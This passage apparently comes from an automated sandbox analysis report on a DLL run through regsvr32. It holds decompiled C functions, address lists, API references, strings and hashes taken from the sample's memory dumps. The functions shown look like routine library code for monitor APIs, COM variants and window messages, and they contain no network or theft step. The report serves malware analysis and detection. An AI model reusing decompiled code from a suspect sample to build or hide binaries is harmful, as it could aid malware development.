													goto L12;
												} else {
													_t5 = 1;
													__eflags = 1;
												}
											}
										}
									}
								}
							}
						}
					}
					 *0x6eb8c534 = 1;
					return _t5;
				} else {
					_t25 =  *0x6eb8c528 - _t17; // 0x0
					return 0 | _t25 != 0x00000000;
				}
			}

0x6eb4a0ac
0x6eb4a0ae
0x6eb4a0b4
0x6eb4a0c3
0x6eb4a0cf
0x6eb4a0da
0x6eb4a0dc
0x6eb4a0de
0x6eb4a172
0x6eb4a172
0x6eb4a178
0x6eb4a17e
0x6eb4a184
0x6eb4a18a
0x6eb4a190
0x6eb4a196
0x6eb4a19c
0x6eb4a0e4
0x6eb4a0f0
0x6eb4a0f2
0x6eb4a0f7
0x6eb4a0f9
0x00000000
0x6eb4a0fb
0x6eb4a101
0x6eb4a103
0x6eb4a108
0x6eb4a10a
0x00000000
0x6eb4a10c
0x6eb4a112
0x6eb4a114
0x6eb4a119
0x6eb4a11b
0x00000000
0x6eb4a11d
0x6eb4a123
0x6eb4a125
0x6eb4a12a
0x6eb4a12c
0x00000000
0x6eb4a12e
0x6eb4a134
0x6eb4a136
0x6eb4a13b
0x6eb4a13d
0x00000000
0x6eb4a13f
0x6eb4a145
0x6eb4a147
0x6eb4a14c
0x6eb4a14e
0x00000000
0x6eb4a150
0x6eb4a156
0x6eb4a158
0x6eb4a15d
0x6eb4a15f
0x00000000
0x6eb4a161
0x6eb4a163
0x6eb4a163
0x6eb4a163
0x6eb4a15f
0x6eb4a14e
0x6eb4a13d
0x6eb4a12c
0x6eb4a11b
0x6eb4a10a
0x6eb4a0f9
0x6eb4a166
0x6eb4a171
0x6eb4a0b6
0x6eb4a0b8
0x6eb4a0c2
0x6eb4a0c2

APIs

GetModuleHandleA.KERNEL32(USER32,00000000,00000000,73FD5D80,6EB4A1FE,?,?,?,?,?,?,?,6EB4C21A,00000000,00000002,00000028), ref: 6EB4A0D4
GetProcAddress.KERNEL32(00000000,GetSystemMetrics), ref: 6EB4A0F0
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6EB4A101
GetProcAddress.KERNEL32(00000000,MonitorFromRect), ref: 6EB4A112
GetProcAddress.KERNEL32(00000000,MonitorFromPoint), ref: 6EB4A123
GetProcAddress.KERNEL32(00000000,EnumDisplayMonitors), ref: 6EB4A134
GetProcAddress.KERNEL32(00000000,GetMonitorInfoA), ref: 6EB4A145
GetProcAddress.KERNEL32(00000000,EnumDisplayDevicesA), ref: 6EB4A156

Strings

EnumDisplayMonitors, xrefs: 6EB4A12E
MonitorFromRect, xrefs: 6EB4A10C
USER32, xrefs: 6EB4A0CA
GetMonitorInfoA, xrefs: 6EB4A13F
EnumDisplayDevicesA, xrefs: 6EB4A150
MonitorFromWindow, xrefs: 6EB4A0FB
MonitorFromPoint, xrefs: 6EB4A11D
GetSystemMetrics, xrefs: 6EB4A0EA

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: EnumDisplayDevicesA$EnumDisplayMonitors$GetMonitorInfoA$GetSystemMetrics$MonitorFromPoint$MonitorFromRect$MonitorFromWindow$USER32
API String ID: 667068680-68207542
Opcode ID: fdd1ff324aa9c9749c0f5984247bf829d9c7b8555043d633be003f1cd2b76bfe
Instruction ID: a1cf5facc85f5137f9e0641c9a213effc9cb49900bb16edb89566da66feb22b5
Opcode Fuzzy Hash: fdd1ff324aa9c9749c0f5984247bf829d9c7b8555043d633be003f1cd2b76bfe
Instruction Fuzzy Hash: 85212CF69146929F9F11AFF58CD54AB3EE9A35B2103115A3FD151DFB00E730A442AF42

Uniqueness

Uniqueness Score: -1.00%

Function 6EB6226B Relevance: 27.4, APIs: 18, Instructions: 402
stringCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E6EB6226B(void* __ebx, intOrPtr __ecx, void* __edi, void* __esi, void* __eflags) {
				void* _t188;
				signed int _t201;
				signed int _t205;
				void* _t207;
				intOrPtr _t210;
				char _t229;
				CHAR* _t235;
				intOrPtr _t236;
				signed int _t239;
				signed int _t240;
				signed int _t241;
				signed int _t249;
				signed int _t256;
				signed int _t257;
				signed int _t276;
				signed short* _t277;
				signed int _t289;
				void* _t292;
				intOrPtr* _t293;
				CHAR* _t295;
				intOrPtr* _t296;
				intOrPtr _t297;
				signed short* _t298;
				void* _t299;
				void* _t300;
				void* _t301;
				void* _t312;

				_push(0x7c);
				_t188 = E6EB664FB(0x6eb7849c, __ebx, __edi, __esi);
				 *((intOrPtr*)(_t299 - 0x24)) = __ecx;
				_t256 = 0;
				if( *((intOrPtr*)(__ecx)) == 0) {
					L77:
					return E6EB665D3(_t188);
				}
				 *((intOrPtr*)(_t299 - 0x54)) = 0;
				 *((intOrPtr*)(_t299 - 0x50)) = 0;
				 *(_t299 - 0x4c) = 0;
				 *((intOrPtr*)(_t299 - 0x48)) = 0;
				 *(_t299 - 4) = 0;
				E6EB65E80(__edi, _t299 - 0x54, 0, 0x10);
				_t301 = _t300 + 0xc;
				if( *(_t299 + 0x18) != 0) {
					 *(_t299 - 0x4c) = lstrlenA( *(_t299 + 0x18));
				}
				 *((intOrPtr*)(_t299 - 0x20)) = 0xfffffffd;
				if(( *(_t299 + 0xc) & 0x0000000c) != 0) {
					 *((intOrPtr*)(_t299 - 0x48)) = 1;
					 *((intOrPtr*)(_t299 - 0x50)) = _t299 - 0x20;
				}
				 *((intOrPtr*)(_t299 - 0x68)) = 0x6eb7c160;
				 *((intOrPtr*)(_t299 - 0x64)) = _t256;
				 *((intOrPtr*)(_t299 - 0x58)) = _t256;
				 *((intOrPtr*)(_t299 - 0x5c)) = _t256;
				 *((intOrPtr*)(_t299 - 0x60)) = _t256;
				_t192 =  *(_t299 - 0x4c);
				 *(_t299 - 4) = 1;
				_t292 = 4;
				_t307 =  *(_t299 - 0x4c) - _t256;
				if( *(_t299 - 0x4c) == _t256) {
					L37:
					_t295 = 0;
					E6EB54FBE(_t299 - 0x44);
					if( *(_t299 + 0x10) != _t256) {
						_t295 = _t299 - 0x44;
					}
					E6EB65E80(_t292, _t299 - 0x88, _t256, 0x20);
					 *(_t299 - 0x28) =  *(_t299 - 0x28) | 0xffffffff;
					_t288 = _t299 - 0x54;
					 *(_t299 + 0xc) =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t299 - 0x24)))))) + 0x18))(_t295, _t299 - 0x88, _t299 - 0x28);
					E6EB62211(_t256, _t299 - 0x68, _t292, _t295,  *((intOrPtr*)( *((intOrPtr*)(_t299 - 0x24)))),  *((intOrPtr*)(_t299 + 8)), 0x6eb7e0f4, _t256,  *(_t299 + 0xc), _t299 - 0x54);
					_t201 =  *(_t299 - 0x4c);
					if(_t201 == _t256) {
						L46:
						E6EB47CD0(_t256, _t292, _t295, _t318,  *((intOrPtr*)(_t299 - 0x54)));
						 *((intOrPtr*)(_t299 - 0x54)) = _t256;
						if( *(_t299 + 0xc) >= _t256) {
							L61:
							_t295 =  *(_t299 + 0x10);
							if(_t295 == _t256) {
								L76:
								 *(_t299 - 4) = 0;
								E6EB61464(_t299 - 0x68);
								_t184 = _t299 - 4;
								 *_t184 =  *(_t299 - 4) | 0xffffffff;
								__eflags =  *_t184;
								_t188 = L6EB621DD(_t299 - 0x54);
								goto L77;
							}
							if(_t295 == 0xc) {
								L65:
								_t205 = (_t295 & 0x0000ffff) + 0xfffffffe;
								__eflags = _t205 - 0x13;
								if(_t205 > 0x13) {
									goto L76;
								}
								switch( *((intOrPtr*)(_t205 * 4 +  &M6EB627F3))) {
									case 0:
										__eax =  *(__ebp + 0x14);
										 *( *(__ebp + 0x14)) =  *(__ebp - 0x3c);
										goto L76;
									case 1:
										__eax =  *(__ebp + 0x14);
										__ecx =  *(__ebp - 0x3c);
										 *( *(__ebp + 0x14)) = __ecx;
										goto L76;
									case 2:
										__eax =  *(__ebp + 0x14);
										 *( *(__ebp + 0x14)) =  *(__ebp - 0x3c);
										goto L76;
									case 3:
										__eax =  *(__ebp + 0x14);
										 *( *(__ebp + 0x14)) =  *(__ebp - 0x3c);
										goto L76;
									case 4:
										__ecx =  *(__ebp - 0x3c);
										__eax =  *(__ebp + 0x14);
										 *__eax =  *(__ebp - 0x3c);
										__ecx =  *(__ebp - 0x38);
										 *(__eax + 4) = __ecx;
										goto L76;
									case 5:
										__eax = E6EB55B3E(__eax, __ecx,  *(__ebp + 0x14),  *(__ebp - 0x3c));
										_push( *(__ebp - 0x3c));
										__imp__#6();
										goto L76;
									case 6:
										__ecx =  *(__ebp + 0x14);
										__eax = 0;
										__eflags =  *(__ebp - 0x3c) - __bx;
										__eax = 0 | __eflags != 0x00000000;
										 *__ecx = __eflags != 0;
										goto L76;
									case 7:
										__edi =  *(__ebp + 0x14);
										__esi = __ebp - 0x44;
										asm("movsd");
										asm("movsd");
										asm("movsd");
										asm("movsd");
										goto L76;
									case 8:
										goto L76;
									case 9:
										 *((char*)( *((intOrPtr*)(_t299 + 0x14)))) =  *((intOrPtr*)(_t299 - 0x3c));
										goto L76;
								}
							}
							_t207 = _t299 - 0x44;
							__imp__#12(_t207, _t207, _t256, _t295);
							_t292 = _t207;
							_t320 = _t292 - _t256;
							if(_t292 >= _t256) {
								goto L65;
							}
							__imp__#9(_t299 - 0x44);
							_push(_t292);
							L49:
							E6EB48DE3(_t256, _t292, _t295, _t320);
							L50:
							_t321 =  *((intOrPtr*)(_t299 - 0x70)) - _t256;
							if( *((intOrPtr*)(_t299 - 0x70)) != _t256) {
								 *((intOrPtr*)(_t299 - 0x70))(_t299 - 0x88);
							}
							_t210 = E6EB47C96(_t321, 0x20);
							 *((intOrPtr*)(_t299 + 0x14)) = _t210;
							 *(_t299 - 4) = 4;
							_t322 = _t210 - _t256;
							if(_t210 != _t256) {
								_push( *((intOrPtr*)(_t299 - 0x88)));
								_push(_t256);
								_push(_t256);
								_t256 = E6EB61C50(_t256, _t210, _t288, _t292, _t295, _t322);
							}
							_push( *((intOrPtr*)(_t299 - 0x84)));
							_t293 = __imp__#7;
							 *(_t299 - 4) = 1;
							if( *_t293() != 0) {
								_t138 = _t256 + 0x18; // 0x18
								E6EB48F80(_t256, _t138,  *((intOrPtr*)(_t299 - 0x84)));
							}
							_t296 = __imp__#6;
							 *_t296( *((intOrPtr*)(_t299 - 0x84)));
							_push( *((intOrPtr*)(_t299 - 0x80)));
							if( *_t293() != 0) {
								_t142 = _t256 + 0xc; // 0xc
								E6EB48F80(_t256, _t142,  *((intOrPtr*)(_t299 - 0x80)));
							}
							 *_t296( *((intOrPtr*)(_t299 - 0x80)));
							_push( *((intOrPtr*)(_t299 - 0x7c)));
							if( *_t293() != 0) {
								_t146 = _t256 + 0x14; // 0x14
								E6EB48F80(_t256, _t146,  *((intOrPtr*)(_t299 - 0x7c)));
							}
							 *_t296( *((intOrPtr*)(_t299 - 0x7c)));
							 *((intOrPtr*)(_t256 + 0x10)) =  *((intOrPtr*)(_t299 - 0x78));
							 *((intOrPtr*)(_t256 + 0x1c)) =  *((intOrPtr*)(_t299 - 0x6c));
							 *((intOrPtr*)(_t299 + 0x14)) = _t256;
							E6EB667FC(_t299 + 0x14, 0x6eb84f9c);
							goto L61;
						}
						__imp__#9(_t299 - 0x44);
						_t320 =  *(_t299 + 0xc) - 0x80020009;
						if( *(_t299 + 0xc) == 0x80020009) {
							goto L50;
						}
						_push( *(_t299 + 0xc));
						goto L49;
					} else {
						_t295 =  *(_t299 + 0x18);
						_t292 = (_t201 << 4) +  *((intOrPtr*)(_t299 - 0x54)) - 0x10;
						while(1) {
							_t318 =  *_t295;
							if( *_t295 == 0) {
								goto L46;
							}
							_t229 =  *_t295;
							__eflags = _t229 - 8;
							if(_t229 == 8) {
								L43:
								__imp__#9(_t292);
								L44:
								_t292 = _t292 - 0x10;
								_t295 =  &(_t295[1]);
								__eflags = _t295;
								continue;
							}
							__eflags = _t229 - 0xe;
							if(_t229 != 0xe) {
								goto L44;
							}
							goto L43;
						}
						goto L46;
					}
				} else {
					_t289 = 0x10;
					_t297 = E6EB47C96(_t307,  ~(0 | _t307 > 0x00000000) | _t192 * _t289);
					 *((intOrPtr*)(_t299 - 0x54)) = _t297;
					E6EB65E80(_t292, _t297, _t256,  *(_t299 - 0x4c) << 4);
					_t235 =  *(_t299 + 0x18);
					_t276 =  *(_t299 - 0x4c) << 4;
					_t301 = _t301 + 0x10;
					_t36 = _t276 - 0x10; // -16
					_t277 = _t297 + _t36;
					 *(_t299 - 0x14) = _t235;
					 *(_t299 - 0x10) = _t277;
					if( *_t235 == 0) {
						goto L37;
					}
					_t236 =  *((intOrPtr*)(_t299 + 0x1c));
					_t257 = _t236 - 4;
					_t41 =  &(_t277[4]); // -8
					_t298 = _t41;
					 *(_t299 - 0x1c) = _t298;
					 *((intOrPtr*)(_t299 + 0x1c)) = _t236 + 0xfffffff8;
					do {
						_t239 =  *( *(_t299 - 0x14)) & 0x000000ff;
						 *_t277 = _t239;
						if((_t239 & 0x00000040) != 0) {
							 *_t277 = _t239 & 0x0000ffbf | 0x00004000;
						}
						_t240 =  *_t277 & 0x0000ffff;
						_t312 = _t240 - 0x4002;
						if(_t312 > 0) {
							_t241 = _t240 - 0x4003;
							__eflags = _t241 - 0x12;
							if(__eflags > 0) {
								goto L35;
							}
							switch( *((intOrPtr*)(_t241 * 4 +  &M6EB627A7))) {
								case 0:
									goto L34;
								case 1:
									 *((intOrPtr*)(_t299 + 0x1c)) =  *((intOrPtr*)(_t299 + 0x1c)) + _t292;
									_t257 = _t257 + _t292;
									_t243 =  *_t257;
									asm("sbb ecx, ecx");
									 *_t243 =  ~( *_t243) & 0x0000ffff;
									 *_t298 = _t243;
									_t244 = L6EB610FD(_t299 - 0x34, _t243, _t243, 0);
									 *(_t299 - 4) = 3;
									E6EB6159D(_t299 - 0x68, _t244);
									__eflags =  *(_t299 - 0x2c);
									 *(_t299 - 4) = 1;
									if(__eflags != 0) {
										E6EB47CD0(_t257, _t292, _t298, __eflags,  *((intOrPtr*)(_t299 - 0x34)));
									}
									goto L35;
								case 2:
									goto L35;
							}
						} else {
							if(_t312 == 0) {
								L34:
								 *((intOrPtr*)(_t299 + 0x1c)) =  *((intOrPtr*)(_t299 + 0x1c)) + _t292;
								_t257 = _t257 + _t292;
								__eflags = _t257;
								 *_t298 =  *_t257;
								goto L35;
							}
							_t249 = _t240;
							if(_t249 > 0x13) {
								goto L35;
							}
							switch( *((intOrPtr*)(_t249 * 4 +  &M6EB62757))) {
								case 0:
									 *(__ebp + 0x1c) =  *(__ebp + 0x1c) + __edi;
									__ebx = __ebx + __edi;
									__ax =  *__ebx;
									goto L28;
								case 1:
									goto L34;
								case 2:
									 *(__ebp + 0x1c) =  *(__ebp + 0x1c) + 8;
									__eax =  *(__ebp + 0x1c);
									__ebx =  &(__ebx[2]);
									 *__esi =  *( *(__ebp + 0x1c));
									goto L35;
								case 3:
									 *(__ebp + 0x1c) =  *(__ebp + 0x1c) + 8;
									__eax =  *(__ebp + 0x1c);
									__ebx =  &(__ebx[2]);
									 *__esi =  *( *(__ebp + 0x1c));
									goto L35;
								case 4:
									 *(__ebp + 0x1c) =  *(__ebp + 0x1c) + __edi;
									__ebx = __ebx + __edi;
									__eax =  *__ebx;
									goto L17;
								case 5:
									 *(__ebp + 0x1c) =  *(__ebp + 0x1c) + __edi;
									__ebx = __ebx + __edi;
									__eax =  *__ebx;
									_push(__eax);
									 *(__ebp - 0x1c) = __eax;
									__imp__#2();
									__eflags =  *(__ebp - 0x1c);
									 *__esi = __eax;
									if(__eflags == 0) {
										goto L35;
									}
									__eflags = __eax;
									if(__eflags != 0) {
										goto L35;
									}
									goto L23;
								case 6:
									 *(__ebp + 0x1c) =  *(__ebp + 0x1c) + __edi;
									__ebx = __ebx + __edi;
									 *__ebx =  ~( *__ebx);
									asm("sbb eax, eax");
									L28:
									 *__esi = __ax;
									goto L35;
								case 7:
									 *(__ebp + 0x1c) =  *(__ebp + 0x1c) + 4;
									__edi =  *(__ebp - 0x10);
									__ebx =  &(__ebx[1]);
									__esi =  *__ebx;
									asm("movsd");
									asm("movsd");
									asm("movsd");
									asm("movsd");
									__esi =  *(__ebp - 0x1c);
									_push(4);
									_pop(__edi);
									goto L35;
								case 8:
									L24:
									 *(__ebp + 0x1c) =  *(__ebp + 0x1c) + __edi;
									__ebx = __ebx + __edi;
									__eax =  *__ebx;
									_push(__eax);
									__ecx = __ebp - 0x18;
									 *(__ebp - 0x1c) = __eax;
									__eax = E6EB4922C(__ebx, __ecx, __edi, __esi, __eflags);
									_push( *(__ebp - 0x18));
									 *((char*)(__ebp - 4)) = 2;
									__imp__#2();
									__eflags =  *(__ebp - 0x1c);
									 *__esi = __eax;
									if( *(__ebp - 0x1c) == 0) {
										L26:
										__ecx =  *(__ebp - 0x10);
										_push(8);
										_pop(__eax);
										 *( *(__ebp - 0x10)) = __ax;
										__ecx =  *(__ebp - 0x18);
										__ecx =  *(__ebp - 0x18) + 0xfffffff0;
										 *((char*)(__ebp - 4)) = 1;
										__eax = L6EB41020(__ecx, __edx);
										goto L35;
									}
									__eflags = __eax;
									if(__eflags == 0) {
										L23:
										__eax = E6EB48B6C(__ebx, __ecx, __edi, __esi, __eflags);
										goto L24;
									}
									goto L26;
								case 9:
									goto L35;
								case 0xa:
									 *((intOrPtr*)(_t299 + 0x1c)) =  *((intOrPtr*)(_t299 + 0x1c)) + _t292;
									_t257 = _t257 + _t292;
									 *_t298 =  *_t257;
									goto L35;
								case 0xb:
									__eax =  *(__ebp + 0x1c);
									__eax =  *(__ebp + 0x1c) + 8;
									 *(__ebp + 0x1c) = __eax;
									__ebx =  &(__ebx[2]);
									__eflags = __ebx;
									L17:
									__ecx =  *__eax;
									 *__esi = __ecx;
									 *(__esi + 4) = __eax;
									goto L35;
							}
						}
						L35:
						_t277 =  *(_t299 - 0x10) - 0x10;
						_t298 = _t298 - 0x10;
						 *(_t299 - 0x14) =  &(( *(_t299 - 0x14))[1]);
						 *(_t299 - 0x10) = _t277;
						 *(_t299 - 0x1c) = _t298;
					} while ( *( *(_t299 - 0x14)) != 0);
					_t256 = 0;
					goto L37;
				}
			}

0x6eb6226b
0x6eb62272
0x6eb62277
0x6eb6227a
0x6eb6227e
0x6eb6274f
0x6eb62754
0x6eb62754
0x6eb62284
0x6eb62287
0x6eb6228a
0x6eb6228d
0x6eb62297
0x6eb6229a
0x6eb6229f
0x6eb622a5
0x6eb622b0
0x6eb622b0
0x6eb622b7
0x6eb622be
0x6eb622c3
0x6eb622ca
0x6eb622ca
0x6eb622cd
0x6eb622d4
0x6eb622d7
0x6eb622da
0x6eb622dd
0x6eb622e0
0x6eb622e5
0x6eb622e9
0x6eb622ea
0x6eb622ec
0x6eb6250c
0x6eb62510
0x6eb62512
0x6eb6251b
0x6eb6251d
0x6eb6251d
0x6eb6252a
0x6eb62534
0x6eb62549
0x6eb62560
0x6eb62563
0x6eb62568
0x6eb6256d
0x6eb62598
0x6eb6259b
0x6eb625a4
0x6eb625a7
0x6eb6267c
0x6eb6267c
0x6eb62682
0x6eb62737
0x6eb6273a
0x6eb6273e
0x6eb62743
0x6eb62743
0x6eb62743
0x6eb6274a
0x00000000
0x6eb6274a
0x6eb6268c
0x6eb626b1
0x6eb626b4
0x6eb626b7
0x6eb626ba
0x00000000
0x00000000
0x6eb626bc
0x00000000
0x6eb626cd
0x6eb626d4
0x00000000
0x00000000
0x6eb6272f
0x6eb62732
0x6eb62735
0x00000000
0x00000000
0x6eb626ec
0x6eb626ef
0x00000000
0x00000000
0x6eb626f6
0x6eb626f9
0x00000000
0x00000000
0x6eb626d9
0x6eb626dc
0x6eb626df
0x6eb626e1
0x6eb626e4
0x00000000
0x00000000
0x6eb62703
0x6eb62708
0x6eb6270b
0x00000000
0x00000000
0x6eb62713
0x6eb62716
0x6eb62718
0x6eb6271c
0x6eb6271f
0x00000000
0x00000000
0x6eb62723
0x6eb62726
0x6eb62729
0x6eb6272a
0x6eb6272b
0x6eb6272c
0x00000000
0x00000000
0x00000000
0x00000000
0x6eb626c9
0x00000000
0x00000000
0x6eb626bc
0x6eb62690
0x6eb62695
0x6eb6269b
0x6eb6269d
0x6eb6269f
0x00000000
0x00000000
0x6eb626a5
0x6eb626ab
0x6eb625c3
0x6eb625c3
0x6eb625c8
0x6eb625c8
0x6eb625cb
0x6eb625d4
0x6eb625d4
0x6eb625d9
0x6eb625df
0x6eb625e2
0x6eb625e6
0x6eb625e8
0x6eb625ea
0x6eb625f2
0x6eb625f3
0x6eb625f9
0x6eb625f9
0x6eb625fb
0x6eb62601
0x6eb62607
0x6eb6260f
0x6eb62617
0x6eb6261a
0x6eb6261a
0x6eb62625
0x6eb6262b
0x6eb6262d
0x6eb62634
0x6eb62639
0x6eb6263c
0x6eb6263c
0x6eb62644
0x6eb62646
0x6eb6264d
0x6eb62652
0x6eb62655
0x6eb62655
0x6eb6265d
0x6eb62662
0x6eb62668
0x6eb62674
0x6eb62677
0x00000000
0x6eb62677
0x6eb625b1
0x6eb625b7
0x6eb625be
0x00000000
0x00000000
0x6eb625c0
0x00000000
0x6eb6256f
0x6eb62572
0x6eb62578
0x6eb62593
0x6eb62593
0x6eb62596
0x00000000
0x00000000
0x6eb6257e
0x6eb62580
0x6eb62582
0x6eb62588
0x6eb62589
0x6eb6258f
0x6eb6258f
0x6eb62592
0x6eb62592
0x00000000
0x6eb62592
0x6eb62584
0x6eb62586
0x00000000
0x00000000
0x00000000
0x6eb62586
0x00000000
0x6eb62593
0x6eb622f2
0x6eb622f6
0x6eb62306
0x6eb62311
0x6eb62314
0x6eb6231c
0x6eb6231f
0x6eb62322
0x6eb62328
0x6eb62328
0x6eb6232c
0x6eb6232f
0x6eb62332
0x00000000
0x00000000
0x6eb62338
0x6eb6233b
0x6eb6233e
0x6eb6233e
0x6eb62344
0x6eb62347
0x6eb6234a
0x6eb6234d
0x6eb62351
0x6eb62356
0x6eb62362
0x6eb62362
0x6eb62365
0x6eb6236d
0x6eb6236f
0x6eb6248d
0x6eb62492
0x6eb62495
0x00000000
0x00000000
0x6eb62497
0x00000000
0x00000000
0x00000000
0x6eb6249e
0x6eb624a1
0x6eb624a3
0x6eb624a9
0x6eb624b3
0x6eb624ba
0x6eb624bc
0x6eb624c5
0x6eb624c9
0x6eb624ce
0x6eb624d2
0x6eb624d6
0x6eb624db
0x6eb624e0
0x00000000
0x00000000
0x00000000
0x00000000
0x6eb62375
0x6eb62375
0x6eb624e3
0x6eb624e3
0x6eb624e6
0x6eb624e6
0x6eb624ea
0x00000000
0x6eb624ea
0x6eb6237c
0x6eb62380
0x00000000
0x00000000
0x6eb62386
0x00000000
0x6eb6239b
0x6eb6239e
0x6eb623a0
0x00000000
0x00000000
0x00000000
0x00000000
0x6eb623c3
0x6eb623c7
0x6eb623cc
0x6eb623cf
0x00000000
0x00000000
0x6eb623d6
0x6eb623da
0x6eb623df
0x6eb623e2
0x00000000
0x00000000
0x6eb623e9
0x6eb623ec
0x6eb623ee
0x00000000
0x00000000
0x6eb623f2
0x6eb623f5
0x6eb623f7
0x6eb623f9
0x6eb623fa
0x6eb623fd
0x6eb62403
0x6eb62407
0x6eb62409
0x00000000
0x00000000
0x6eb6240f
0x6eb62411
0x00000000
0x00000000
0x00000000
0x00000000
0x6eb62465
0x6eb62468
0x6eb6246c
0x6eb6246e
0x6eb62470
0x6eb62470
0x00000000
0x00000000
0x6eb62475
0x6eb62479
0x6eb6247c
0x6eb6247f
0x6eb62481
0x6eb62482
0x6eb62483
0x6eb62484
0x6eb62485
0x6eb62488
0x6eb6248a
0x00000000
0x00000000
0x6eb6241c
0x6eb6241c
0x6eb6241f
0x6eb62421
0x6eb62423
0x6eb62424
0x6eb62427
0x6eb6242a
0x6eb6242f
0x6eb62432
0x6eb62436
0x6eb6243c
0x6eb62440
0x6eb62442
0x6eb62448
0x6eb62448
0x6eb6244b
0x6eb6244d
0x6eb6244e
0x6eb62451
0x6eb62454
0x6eb62457
0x6eb6245b
0x00000000
0x6eb6245b
0x6eb62444
0x6eb62446
0x6eb62417
0x6eb62417
0x00000000
0x6eb62417
0x00000000
0x00000000
0x00000000
0x00000000
0x6eb6238d
0x6eb62390
0x6eb62394
0x00000000
0x00000000
0x6eb623a8
0x6eb623ab
0x6eb623ae
0x6eb623b1
0x6eb623b1
0x6eb623b4
0x6eb623b4
0x6eb623b6
0x6eb623bb
0x00000000
0x00000000
0x6eb62386
0x6eb624ec
0x6eb624ef
0x6eb624f2
0x6eb624f5
0x6eb624fe
0x6eb62501
0x6eb62501
0x6eb6250a
0x00000000
0x6eb6250a

APIs

__EH_prolog3.LIBCMT ref: 6EB62272
_memset.LIBCMT ref: 6EB6229A
lstrlenA.KERNEL32(?,00000004,00000000,6EB62568), ref: 6EB622AA
_memset.LIBCMT ref: 6EB62314
_memset.LIBCMT ref: 6EB6252A
VariantClear.OLEAUT32(?), ref: 6EB625B1
SysStringLen.OLEAUT32(?), ref: 6EB6260B
SysFreeString.OLEAUT32(?), ref: 6EB6262B
SysStringLen.OLEAUT32(?), ref: 6EB62630

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: String_memset$ClearFreeH_prolog3Variantlstrlen
String ID:
API String ID: 516204547-0
Opcode ID: d1832afa3d55c6f28c7470dfff0b065811f45a2ac5346c749766013b8c84dbbb
Instruction ID: ec77d631e87875b1b82a8afb3e137c0654fc40aa668947ceebed05af6499079d
Opcode Fuzzy Hash: d1832afa3d55c6f28c7470dfff0b065811f45a2ac5346c749766013b8c84dbbb
Instruction Fuzzy Hash: 14F1477190028ADFEF11CFE8D894AEEBFB8EF05304F104469E955AB2A0DB749A55CF50

Uniqueness

Uniqueness Score: -1.00%

Function 6EB5F5ED Relevance: 26.0, APIs: 17, Instructions: 453
windowkeyboardCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E6EB5F5ED(void* __ebx, signed int __ecx, void* __edi, void* __esi, void* __eflags, signed int _a4, struct tagMSG* _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v24;
				signed int _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				signed int _v44;
				signed int _v48;
				struct HWND__* _v52;
				signed int _t139;
				signed int _t141;
				void* _t142;
				signed int _t146;
				signed int _t149;
				intOrPtr _t150;
				signed int _t152;
				signed char _t153;
				signed int _t154;
				signed int _t155;
				signed int _t156;
				signed int _t161;
				signed int _t165;
				void* _t167;
				signed char _t171;
				signed int _t172;
				signed int _t173;
				signed int _t174;
				signed char _t182;
				intOrPtr _t183;
				signed int _t184;
				short _t188;
				signed int _t189;
				signed int _t190;
				signed int _t191;
				signed int _t195;
				signed int _t198;
				signed char _t199;
				signed int _t200;
				signed int _t201;
				signed int _t203;
				short _t204;
				signed int _t206;
				signed int _t207;
				signed int _t208;
				signed int _t209;
				void* _t211;
				signed int _t215;
				signed int _t216;
				struct HWND__* _t217;
				struct tagMSG* _t221;
				intOrPtr _t224;
				void* _t231;
				void* _t234;
				struct tagMSG* _t240;
				signed int _t242;
				int _t243;
				signed int _t244;
				long _t247;
				intOrPtr _t249;
				signed int _t251;
				signed int _t254;
				signed int _t255;
				signed int _t256;
				signed int _t257;
				signed int _t258;

				_t232 = __ecx;
				_push(__ecx);
				_v8 = _v8 & 0x00000000;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t139 = E6EB5F446(_a4, _a8);
				_t238 = _t139;
				if(_t139 == 0) {
					_t232 = _a4;
					_t231 = E6EB4AFE1(_a4);
					if(_t231 != 0) {
						_t221 =  *((intOrPtr*)(_t231 + 0x44));
						_a8 = _t221;
						if(_t221 != 0) {
							while(1) {
								_t9 = _t231 + 0x40; // 0x40
								_t232 = _t9;
								_t258 =  *(E6EB4ABF2( &_a8));
								_t224 =  *((intOrPtr*)(_t258 + 4));
								if(_t224 != 0 && _t224 ==  *((intOrPtr*)(_t231 + 0x70))) {
									break;
								}
								if( *_t258 == 0 ||  *_t258 != GetFocus()) {
									if(_a8 != 0) {
										continue;
									} else {
									}
								} else {
									break;
								}
								goto L10;
							}
							_t238 = _t258;
						}
					}
				}
				L10:
				_t247 = 0;
				while(1) {
					_t238 = E6EB5F49A(_t232, _a4, _t238, _a12);
					if(_t238 == 0) {
						break;
					}
					_t142 = E6EB5EF1E(_t238);
					_pop(_t232);
					if(_t142 == 0) {
						L14:
						if(_t238 == 0) {
